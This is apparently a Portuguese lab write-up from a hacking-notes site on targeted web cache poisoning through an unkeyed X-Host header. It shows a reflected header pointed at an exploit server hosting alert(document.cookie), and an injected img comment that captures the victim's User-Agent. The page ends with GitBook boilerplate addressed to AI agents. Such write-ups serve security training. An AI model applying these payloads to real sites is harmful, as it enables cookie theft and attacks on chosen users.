> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Envenenamento Direcionado de Cache via um Cabeçalho Desconhecido

### Envenenamento de cache da web direcionado usando um cabeçalho desconhecido

Contamine o cache com uma resposta que execute `alert(document.cookie)` no navegador de um visitante, **mas apenas para um subconjunto de usuários** correspondente à vítima.

#### Observação inicial

* A requisição/resposta é interceptada.

<figure><img src="/files/19f71fde79627cf70bb405db315a846a0d5840e6" alt=""><figcaption></figcaption></figure>

Com a **Param Miner** extensão, iniciamos a detecção de cabeçalhos exploráveis

<figure><img src="/files/88a512aba0ea3624037714aedb31ac73f3ab97c3" alt=""><figcaption></figcaption></figure>

* A ferramenta revela um \*\*cabeçalho

<figure><img src="/files/8de358807369851496e3bd7418fe4b519dc210fe" alt=""><figcaption></figcaption></figure>

Se `X-Host: test.com` é enviado, o valor é reinjetado na resposta (em `src`).

```http
X-Host: test.com
```

#### Implementação da carga útil

1. No \*\*Exploit Server\*\*, criamos um recurso **com o caminho/título**:

* `/resources/js/tracking.js`

<figure><img src="/files/cc3f506640487567c24948622b18e62f983e1edf" alt=""><figcaption></figcaption></figure>

Conteúdo do arquivo:

```javascript
alert(document.cookie)
```

<figure><img src="/files/f7d1251a7ff3ff8c190927613b25730393ffb167" alt=""><figcaption></figcaption></figure>

#### Envenenamento de cache direcionado ao X-Host

* A requisição é retornada com:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="/files/416908073aede1c295e1b7b74e8055e0ab036971" alt=""><figcaption></figcaption></figure>

A página então carrega o `tracking.js` do servidor de exploração, o que dispara o alerta.

<figure><img src="/files/8a3fd3334d2fddf050230629305528e11ebad9b9" alt=""><figcaption></figcaption></figure>

#### Direcionando a vítima com o User-Agent

* Observamos que a resposta varia de acordo com `User-Agent` (via `Vary`), então, para atingir a vítima, devemos **saber o User-Agent da vítima**.

<figure><img src="/files/2590b648223755d3b2a76a46959b1561b2775697" alt=""><figcaption></figcaption></figure>

Publique um comentário que force uma requisição ao servidor de exploração:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="/files/8d7afa1ac915d8b833b8c105b5bfcf4a9e2819e4" alt=""><figcaption></figcaption></figure>

Nos registros do servidor de exploração, o User-Agent da vítima é recuperado:

<figure><img src="/files/7986d3144f6e7d206912e2b8dfb69be8ca925248" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
